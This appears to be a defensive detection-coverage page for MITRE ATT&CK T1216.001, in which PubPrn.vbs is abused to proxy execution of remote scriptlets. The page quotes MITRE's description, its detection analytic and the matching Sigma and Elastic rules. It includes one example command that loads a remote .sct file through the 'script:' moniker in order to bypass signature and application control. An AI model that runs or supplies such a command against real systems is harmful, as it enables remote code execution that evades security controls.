Cross-source coverage
T1216.001 / ATT&CK
System Script Proxy Execution: PubPrn
3 rules across 2 sources.
From MITRE ATT&CK 19.2
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
- Tactics
- Stealth
- Platforms
- Windows
- Telemetry
-
WinEventLog:SysmonWinEventLog:PowerShell
How MITRE says to detect it DET0528
Detecting Remote Script Proxy Execution via PubPrn.vbs
Windows Analytic 1464
Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote.sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.
WinEventLog:SysmonEventCode=1WinEventLog:PowerShellEventCode=4103, 4104, 4105, 4106WinEventLog:SysmonEventCode=3, 22WinEventLog:SysmonEventCode=7
SigmaHQ/sigma
2 rules| Detection | Severity | Format |
|---|---|---|
| Launch-VsDevShell.PS1 Proxy Execution | Medium | Sigma |
| Pubprn.vbs Proxy Execution | Medium | Sigma |
elastic/protections-artifacts
1 rule| Detection | Severity | Format |
|---|---|---|
| Scriptlet Proxy Execution via PubPrn | Undefined | Elastic TOML |